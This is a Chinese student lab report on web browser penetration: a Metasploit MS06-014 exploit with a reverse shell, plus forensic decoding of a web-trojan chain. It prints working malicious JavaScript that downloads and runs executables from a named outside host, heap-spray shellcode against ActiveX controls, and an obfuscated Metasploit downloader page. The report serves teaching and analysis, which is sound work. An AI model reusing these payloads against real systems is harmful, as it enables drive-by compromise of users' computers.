20232815 2023-2024-2 《网络攻防实践》实践十一报告

news/2024/9/22 17:21:28/

20232815 2023-2024-2 《网络攻防实践》实践十一报告

1.实践内容

网络渗透: 网络渗透是攻击者常用的一种攻击手段,也是一种综合的高级攻击技术,同时网络渗透也是安全工作者所研究的一个课题,在他们口中通常被称为”渗透测试(Penetration Test)”。

Web渗透攻击原理:

1.攻击者通过网络或者本地访问Web应用程序,找到Web应用程序的漏洞。

2.攻击者利用漏洞注入恶意代码、控制命令或者病毒等,从而获取或操作系统或者应用程序相关的敏感信息。

3.攻击者通过构造特定的URL,让Web应用程序误认用户输入的数据为安全数据,在处理过程中植入恶意代码或者请求后端的服务,从而获取敏感信息。

4.攻击者通过XSS(跨站脚本攻击〉,从而向用户传递植入恶意代码的链接或者脚本,从而实现攻击的目的。

2.实践过程

(1)web浏览器渗透攻击

任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。

实验步骤:

①选择使用Metasploit中的MS06-014渗透攻击模块

②选择PAYLOAD为任意远程Shell连接

③设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本

④在靶机环境中启动浏览器,验证与服务器的连通性,并访问恶意网页木马脚本URL

⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令

实验环境IP地址
Kali(攻击机)192.168.43.4
Win2k(靶机)192.168.43.66

输入命令msfconsole打开metasploit工具,使用search MS06-014查看漏洞信息,使用use exploit/windows/browser/ie_createobject选择漏洞。

在这里插入图片描述

使用命令show payloads可显示可用的载荷,这里将payload设置为generic/shell_reverse_tcp,使用命令set payload generic/shell_reverse_tcp。将lhost设置为攻击机的IP地址,将rhost设置为靶机的IP地址。输入命令exploitrun运行。

在这里插入图片描述

在这里插入图片描述

根据上步得到的Local IP,通过靶机的浏览器访问该地址,可以看到浏览器返回一串字符。

在这里插入图片描述

同时可以发现Kali中建立了一条会话,证明攻击成功。

在这里插入图片描述

在Kali中输入命令sessions -i 1启动会话,然后输入命令ipconfig,发现得到了靶机的信息,证明会话建立成功。

在这里插入图片描述

(2)取证分析实践—网页木马攻击场景分析

实践过程:

①首先你应该访问start.html,在这个文件中给出了new09.htm的地址,

②在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到
http://192.168.68.253/scom/hashed/
哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。

③如果解密出的地址给出的是网页或脚本文件,请继续解密。

④如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。

⑤重复以上过程直到这些文件被全部分析完成。

将网页挂马分析实践文件下载到WinXP中并解压。

在这里插入图片描述

将start.html用记事本方式打开,查找new09.htm。

在这里插入图片描述

在这里插入图片描述

可以发现,start.html使用iframe框架引用new09.htm,使用记事本打开new09.htm。

将两个网址http://js.users.51.la/1299644.jshttp://aa.18dd.net/aa/kl.htm进行MD5运算。散列值分别为:23180a42a2ff1192150231b44ffdf3d37f60672dcd6b5e90b6772545ee219bd3

在这里插入图片描述

在这里插入图片描述

在hased文件夹中找到相对应的文件,将其以记事本方式打开。

1299644.js:

在这里插入图片描述

kl.htm:

在这里插入图片描述

发现kl.htm使用base64方式编码,使用了xxtea算法进行了加密,密钥为用十六进制表示的\x73\x63\x72\x69\x70\x74,经过解密,发现使用的密钥为script

在这里插入图片描述

使用xxtea工具对其进行解密。

解密后的结果为

<script>
eval("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x69\x6e\x69\x74\x28\x29\x7b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x29\x3b\x7d\x0d\x0a\x77\x69\x6e\x64\x6f\x77\x2e\x6f\x6e\x6c\x6f\x61\x64\x20\x3d\x20\x69\x6e\x69\x74\x3b\x0d\x0a\x69\x66\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x2e\x69\x6e\x64\x65\x78\x4f\x66\x28\x27\x4f\x4b\x27\x29\x3d\x3d\x2d\x31\x29\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x65\x3b\x0d\x0a\x76\x61\x72\x20\x61\x64\x6f\x3d\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x22\x6f\x62\x6a\x65\x63\x74\x22\x29\x29\x3b\x0d\x0a\x61\x64\x6f\x2e\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x28\x22\x63\x6c\x61\x73\x73\x69\x64\x22\x2c\x22\x63\x6c\x73\x69\x64\x3a\x42\x44\x39\x36\x43\x35\x35\x36\x2d\x36\x35\x41\x33\x2d\x31\x31\x44\x30\x2d\x39\x38\x33\x41\x2d\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36\x22\x29\x3b\x0d\x0a\x76\x61\x72\x20\x61\x73\x3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x65\x6f\x62\x6a\x65\x63\x74\x28\x22\x41\x64\x6f\x64\x62\x2e\x53\x74\x72\x65\x61\x6d\x22\x2c\x22\x22\x29\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x0d\x0a\x76\x61\x72\x20\x65\x78\x70\x69\x72\x65\x73\x3d\x6e\x65\x77\x20\x44\x61\x74\x65\x28\x29\x3b\x0d\x0a\x65\x78\x70\x69\x72\x65\x73\x2e\x73\x65\x74\x54\x69\x6d\x65\x28\x65\x78\x70\x69\x72\x65\x73\x2e\x67\x65\x74\x54\x69\x6d\x65\x28\x29\x2b\x32\x34\x2a\x36\x30\x2a\x36\x30\x2a\x31\x30\x30\x30\x29\x3b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x3d\x27\x63\x65\x3d\x77\x69\x6e\x64\x6f\x77\x73\x78\x70\x3b\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d\x27\x2b\x65\x78\x70\x69\x72\x65\x73\x2e\x74\x6f\x47\x4d\x54\x53\x74\x72\x69\x6e\x67\x28\x29\x3b\x0d\x0a\x69\x66\x28\x65\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x31\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x0d\x0a\x65\x6c\x73\x65\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x66\x3b\x76\x61\x72\x20\x73\x74\x6f\x72\x6d\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x50\x53\x2e\x53\x74\x6f\x72\x6d\x50\x6c\x61\x79\x65\x72\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x66\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x66\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x62\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x67\x3b\x76\x61\x72\x20\x70\x70\x73\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x50\x4f\x57\x45\x52\x50\x4c\x41\x59\x45\x52\x2e\x50\x6f\x77\x65\x72\x50\x6c\x61\x79\x65\x72\x43\x74\x72\x6c\x2e\x31\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x67\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x67\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x70\x70\x73\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x68\x3b\x76\x61\x72\x20\x6f\x62\x6a\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x42\x61\x69\x64\x75\x42\x61\x72\x2e\x54\x6f\x6f\x6c\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x68\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x68\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x6f\x62\x6a\x2e\x44\x6c\x6f\x61\x64\x44\x53\x28\x22\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x2f\x62\x62\x2f\x62\x64\x2e\x63\x61\x62\x22\x2c\x20\x22\x62\x64\x2e\x65\x78\x65\x22\x2c\x20\x30\x29\x7d\x7d\x0d\x0a\x7d\x7d\x7d")
</script>

将其转化为ASCII码:

function init() {document.write();
}
window.onload = init;
if (document.cookie.indexOf('OK') == -1) {try {var e;var ado = (document.createElement("object"));ado.setAttribute("classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");var as = ado.createobject("Adodb.Stream", "")} catch(e) {};finally {var expires = new Date();expires.setTime(expires.getTime() + 24 * 60 * 60 * 1000);document.cookie = 'ce=windowsxp;path=/;expires=' + expires.toGMTString();if (e != "[object Error]") {document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")} else {try {var f;var storm = new ActiveXObject("MPS.StormPlayer");} catch(f) {};finally {if (f != "[object Error]") {document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}try {var g;var pps = new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");} catch(g) {};finally {if (g != "[object Error]") {document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}try {var h;var obj = new ActiveXObject("BaiduBar.Tool");} catch(h) {};finally {if (h != "[object Error]") {obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}}}
}

对上述代码进行分析,发现涉及了4个网址,对应的哈希值如下:

网址哈希值
http://aa.18dd.net/aa/1.js5d7e9058a857aa2abee820d5473c5fa4
http://aa.18dd.net/aa/b.js3870c28cc279d457746b3796a262f166
http://aa.18dd.net/aa/pps.js5f0b8bf0385314dbe0e5ec95e6abedc2
http://down.18dd.net/bb/bd.cab1c1d7b3539a617517c49eee4120783b2

在hased文件夹中寻找文件:

http://aa.18dd.net/aa/1.js:

在这里插入图片描述
将其转化为ASCII:

var url = "http://down.18dd.net/bb/014.exe";
try {var xml = ado.CreateObject("Microsoft.XMLHTTP", "");xml.Open("GET", url, 0);xml.Send();as.type = 1;as.open();as.write(xml.responseBody);path = "..\\ntuser.com";as.savetofile(path, 2);as.close();var shell = ado.createobject("Shell.Application", "");shell.ShellExecute("cmd.exe", "/c " + path, "", "open", 0)
} catch(e) {}

通过对代码分析,发现此文件会下载一个名为http://down.18dd.net/bb/014.exe的可执行文件。

http://aa.18dd.net/aa/b.js:

在这里插入图片描述

使用unpacked工具对其进行转换:

var bigblock=unescape("%u9090%u9090");
var headersize=20;
var shellcode=unescape("%uf3e9%u0000"+"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c"+"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378"+"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b"+"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef"+"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1"+"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103"+"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904"+"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b"+"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e"+"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d"+"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320"+"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344"+"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc"+"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0"+"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab"+"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f"+"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574"+"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e"+"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00"+"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c"+"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54"+"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");
var slackspace=headersize+shellcode.length;
while(bigblock.length<slackspace)bigblock+=bigblock;
fillblock=bigblock.substring(0,slackspace);
block=bigblock.substring(0,bigblock.length-slackspace);
while(block.length+slackspace<0x40000)block=block+block+fillblock;
memory=new Array();
for(x=0;x<300;x++)memory[x]=block+shellcode;
var buffer='';
while(buffer.length<4068)buffer+="\x0a\x0a\x0a\x0a";
storm.rawParse(buffer)

提取其中的字符串,发现关键字shellcode,根据参考文件,shellcode是一个下载器,因此需要寻找其中的URL,最后找到的结果为http://down.18dd.net/bb/bf.exe得到一个可执行文件。

http://aa.18dd.net/aa/pps.js :

在这里插入图片描述

此文件使用了八进制的加密方法,将其转化为十六进制后再将其转化为ASCII文本:

/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps=(document.createElement("object"));pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000"+
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065");var bigblock = unescape("%u9090%u9090");var headersize = 20;var slackspace = headersize+shellcode.length;while (bigblock.length<slackspace) bigblock+=bigblock;fillblock = bigblock.substring(0, slackspace);block = bigblock.substring(0, bigblock.length-slackspace);while(block.length+slackspace<0x40000) block = block+block+fillblock;memory = new Array();for (x=0;x<400;x++) memory[x] = block + shellcode;var buffer = '';while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a";pps.Logo = buffer

与上一个方法相同,得到一个可执行文件http://down.18dd.net/bb/pps.exe

http://down.18dd.net/bb/bd.cab:

在这里插入图片描述

得到一个可执行文件bd.exe

URL哈希值
http://down.18dd.net/bb/014.execa4e4a1730b0f69a9b94393d9443b979
http://down.18dd.net/bb/bf.exe268cbd59fbed235f6cf6b41b92b03f8e
http://down.18dd.net/bb/pps.exeff59b3b8961f502289c1b4df8c37e2a4

在这里插入图片描述

在这里插入图片描述

对相应的文件计算md5的值,发现结果相同,推测4个文件相同。

使用IDA软件对其进行反汇编。

在这里插入图片描述

发现程序会下载20个木马程序对机器进行破坏。

(3)攻防对抗实践—web浏览器渗透攻击攻防

攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。

防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。

实验环境IP地址
Kali(攻击机)192.168.43.4
Win2k(靶机)192.168.43.66

攻击:

打开metasploit进行攻击,具体攻击过程如下所示:

在这里插入图片描述

复制地址,将地址发送给防守方。

在这里插入图片描述

防守方访问链接后,攻击机可远程执行命令,证明攻击成功。

在这里插入图片描述

防守

靶机访问恶意网站,右键查看源代码:

在这里插入图片描述

发现语句间有很多空格,回车等,目的是为了隐藏自己,防止被杀毒软件发现。将代码进行格式化:

<html><head><title></title><scriptlanguage="javascript">function aqVVjKGENoXCowkw( o ,n ) { var r = null; try { eval("r=o" + ".C"+ "re" + "ate" + "Ob" + "je" + "ct(n)" ) }catch(e){} if (! r) { try { eval("r=o"+ ".Cr" + "ea" + "teO"+ "bj"+ "ect(n,'')" ) }catch(e){} } if (! r) { try{eval("r=o" + ".Cr" + "ea" + "teO" + "bj" + "ect(n,'','')" ) }catch(e){}} if (! r) { try { eval("r=o" + ".Ge" + "tOb" + "je" + "ct('',n)" ) }catch(e){}} if (! r){ try { eval("r=o" + ".Ge" + "tOb" + "ject(n,'')" ) }catch(e){}} if (! r){ try { eval("r=o" + ".Ge" + "tOb" + "ject(n)" ) }catch(e){}} return( r ); } function kGNrGbdSvfUenaxMxcMEVIkyhmQk( a ) { var s = aqVVjKGENoXCowkw(a, "W" + "Sc" + "ri" + "pt" + ".S" + "he" + "ll" ); var o = aqVVjKGENoXCowkw(a, "A" + "DO" + "D" + "B.S" + "tr" + "eam" ); var e = s.Environment( "P"+ "ro" + "ce" + "ss" );var url = document.location + '/p' + 'ay'+ 'lo'+ 'ad'; var xml = null; var bin = e.Item( "T" + "E" + "M" + "P" ) +"\\iQbyCWUDtkCUZvcswaIyDKM"+ ".e" + "xe"; vardat; try { xml=new XMLHttpRequest(); } catch(e) { try{xml = new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) {xml = new ActiveXObject("MSXML2.ServerXMLHTTP");} } if (! xml) { return(0); } xml.open("GET", url, false); xml.send(null);dat = xml.responseBody; o.Type = 1 ; o.Mode =3 ; o.Open ( ) ; o.Write (dat ) ; o.SaveToFile ( bin, 2) ; s.Run ( bin , 0 ); } function KssGjCOZrjj() { var i = 0; var t = new Array( '{' + 'B' + 'D' + '9' + '6' + 'C' + '5'+ '5' + '6' + '-' + '6' + '5' + 'A' + '3' + '-' + '1' + '1' + 'D' + '0'+ '-' + '9' + '8' + '3' + 'A' + '-' + '0' + '0' + 'C' + '0' + '4'+ 'F'+ 'C' + '2'+ '9' + 'E' + '3'+ '6' + '}' , '{' + 'B' + 'D' + '9' + '6' +'C' + '5' +'5' + '6' + '-' + '6' + '5' +'A'+ '3' + '-' + '1' + '1'+ 'D'+ '0' + '-' + '9' +'8' +'3' + 'A' + '-' + '0' + '0' + 'C' + '0' + '4' +'F' + 'C' + '2' + '9' + 'E' + '3' + '0' + '}' , '{' + '7' + 'F' + '5' +'B' + '7' + 'F' + '6' + '3' +'-' + 'F' + '0' + '6' + 'F' + '-' + '4' +'3' + '3' + '1' + '-' + '8' + 'A' + '2' +'6' + '-' + '3' + '3' + '9' +'E' + '0' + '3' + 'C' + '0' + 'A' + 'E' + '3' + 'D' + '}' , '{' + '6' +'e' + '3' + '2'+'0' + '7' + '0' + 'a' + '-' + '7' + '6' + '6' + 'd' + '-'+ '4' + 'e' + 'e' + '6' + '-' + '8' + '7' + '9' + 'c' + '-' + 'd' + 'c'+ '1' + 'f' + 'a' + '9' + '1' +'d' + '2' + 'f' + 'c' + '3' + '}' , '{'+ '6' + '4' + '1' + '4' + '5' + '1' + '2' + 'B' + '-' + 'B' + '9' + '7'+ '8' + '-' + '4' + '5' + '1' + 'D' + '-' + 'A' + '0' + 'D' + '8' + '-'+ 'F' + 'C' + 'F' + 'D' + 'F' + '3' + '3' + 'E' + '8' + '3' + '3' + 'C'+'}' , '{' + '0' +'6' +'7' + '2' + '3' + 'E' + '0' + '9' + '-' + 'F' +'4' + 'C' + '2' + '-' + '4' + '3' + 'c' + '8' + '-' + '8' + '3' + '5' +'8' + '-' + '0' + '9' + 'F' + 'C' + 'D' + '1' + 'D' + 'B'+ '0' + '7' +'6' + '6' + '}' , '{' +'6' + '3' + '9' + 'F' + '7' + '2' + '5'+ 'F' + '-'+ '1' + 'B' + '2' + 'D' + '-' + '4' + '8' + '3' + '1' + '-' + 'A' + '9'+ 'F' + 'D' + '-' + '8' + '7' + '4' + '8' + '4' + '7' + '6' + '8' + '2'+ '0' + '1' + '0' + '}' , '{' + 'B' +'A' + '0' + '1' + '8' +'5' + '9' +'9' + '-' + '1' + 'D' + 'B' + '3' + '-' + '4' + '4' + 'f' + '9' + '-' +'8' + '3' + 'B' + '4' + '-' + '4' + '6' + '1' + '4' + '5' + '4' + 'C' +'8' + '4' + 'B' + 'F' + '8' + '}' , '{' + 'D' + '0' + 'C' + '0' + '7' +'D'+ '5' + '6'+ '-' + '7' + 'C' + '6' + '9' + '-'+ '4' + '3' + 'F' + '1' +'-' + 'B' + '4' + 'A' + '0' +'-' + '2' + '5' + 'F' + '5' +'A' + '1' +'1'+ 'F' + 'A' + 'B' + '1' + '9' + '}', '{' + 'E' + '8' +'C' + 'C' + 'C' +'D' + 'D' + 'F' + '-' + 'C' + 'A' + '2' + '8' + '-' + '4' + '9' +'6' +'b' + '-' + 'B' + '0' + '5' + '0' + '-' + '6' + 'C' + '0' + '7' + 'C' +'9' + '6' + '2' + '4' + '7' + '6' + 'B' + '}' , '{' + 'A' + 'B' + '9' +'B' + 'C' + 'E' + 'D' + 'D' + '-' + 'E' + 'C' + '7' + 'E' + '-' + '4'+'7' + 'E' + '1' + '-' + '9' +'3' + '2' + '2' + '-' + 'D' + '4' + 'A' +'2' + '1' + '0' + '6' + '1' + '7' + '1' + '1' + '6' + '}' , '{'+ '0' +'0' + '0' + '6' + 'F' +'0' + '3' + '3' + '-' + '0' + '0' + '0' + '0' +'-' + '0' + '0' + '0' + '0' + '-' + 'C' + '0'+ '0' + '0'+ '-' + '0' + '0'+ '0' + '0' + '0' + '0' + '0' + '0'+ '0' +'0' + '4' + '6' + '}' , '{' +'0' + '0' + '0' + '6' + 'F' +'0' + '3' + 'A' + '-' + '0' +'0' + '0' + '0'+ '-' + '0' + '0' + '0' + '0' + '-' + 'C' + '0' + '0' + '0' + '-'+ '0'+ '0' +'0' + '0' + '0' + '0' + '0' + '0' +'0' + '0' + '4' + '6' + '}' ,null ); while (t[i]) { var a = null; if (t[i].substring(0,1) == '{') {a = document.createElement("object"); a.setAttribute("cl" + "as" + "sid","cl" + "s" + "id" +":" + t[i].substring( 1, t[i].length - 1 ) ) ; } else{ try { a = new ActiveXObject(t[i]); } catch(e){} } if (a) { try { varb= aqVVjKGENoXCowkw( a , "W" +"Sc" + "ri" + "pt" + ".S" + "he" + "ll"); if (b) { kGNrGbdSvfUenaxMxcMEVIkyhmQk( a ) ; return(0) ;} } catch(e){} } i++; } }</script></head><body onload='KssGjCOZrjj()'>Cm</body></html>

在这里插入图片描述

发现其中包括着一个可执行文件的相关操作,证明有漏洞。

3.学习中遇到的问题及解决

  • 问题1:hased文件夹中的文件无法直接右键选择打开方式为记事本
  • 问题1解决方案:可以将需要的文件重命名,添加后缀.txt

4.实践总结

通过本次实验,我对Web渗透攻击,木马攻击等有了更进一步的理解,同时也意识到不能点击来历不明的链接防止上当受骗。


http://www.ppmy.cn/news/1467180.html

相关文章

数据结构:双链表

数据结构&#xff1a;双链表 题目描述参考代码 题目描述 输入样例 10 R 7 D 1 L 3 IL 2 10 D 3 IL 2 7 L 8 R 9 IL 4 7 IR 2 2输出样例 8 7 7 3 2 9参考代码 #include <iostream>using namespace std;const int N 100010;int m; int idx, e[N], l[N], r[N];void init…

一个可以自动生成随机区组试验的excel VBA小程序

在作物品种区域试验时&#xff0c;通常会采用随机区组试验设计&#xff0c;特制作了一个可以自动生成随机区组试验的小程序。excel参数界面如下&#xff1a; 参数含义如下&#xff1a; 1、生成新表的名称&#xff1a;程序将新建表格&#xff0c;用于生成随机区组试验。若此处为…

C++中count()和count_if()函数简介

count()函数 [C] count函数 【C】统计string里面出现的字符的个数&#xff08;使用count函数&#xff09; algorithm头文件定义了一个count的函数&#xff0c;其功能类似于find。这个函数使用一对迭代器和一个值做参数&#xff0c;返回这个值出现次数的统计结果 #include algo…

uniapp - 填充页面

在上一篇文章中&#xff0c;创建了一个空白的文章模块页面。在这一篇文章&#xff0c;让我们来向页面中填充内容。 目录 页面效果涉及uniapp组件1.view2.swiper3.scroll-view4.属性解读1) class"style1 style2 .."2) circular单属性无赋值3) :autoplay"autoplay…

海外仓系统选择教程:只要能满足性价比需求,何必自己开发?

自己单独开发一套海外仓系统这对大型海外仓集团尚且是很大的挑战&#xff0c;更何况对中小海外仓和家庭仓。其实对这类体量比较小的海外仓来说&#xff0c;提升海外仓管理效率最佳的方式不是自己开发系统&#xff0c;而是选择市场上比较成熟的系统&#xff0c;直接拿来即用&…

PS系统教程11

HUD拾色器 作用&#xff1a;它可以帮助使用者更加高效地选择和使用颜色&#xff0c;从而提高工作效率和设计质量。 先确定色相值改变饱和度改变亮度使用HUD拾色器选中画笔工具画笔模式-正常shiftAlt右键 色相轮 上下移动从黑到白亮度变化左右移动从浅到深饱和度的变化选中颜…

kafka主题,分区,副本,节点几个概念理解

kafka相关概念 一、相关概念 主题&#xff1a;类似于数据库中的表&#xff0c;用于存放生产者的数据分区&#xff1a;类似于数据库的中分表&#xff0c;将一个主题分成多个分区&#xff08;一个大表分成多个分表&#xff09;节点&#xff1a;kafka数量&#xff0c;或者理解为ka…

Windows10设置通过.net3.5访问HP DL585G7服务器iLO的控制台

HP DL585G7服务器设备较老了&#xff0c;本文记录如何通过.net3.5访问其iLO管理口的控制台&#xff0c;同类HP服务器可参考进行。 一、调试电脑版本 二、调试电脑安装.net3.5 请参考本人文档&#xff1a;Windows10 22H2用系统安装光盘安装.net3.5 三、Edge启用IE模式 请参考…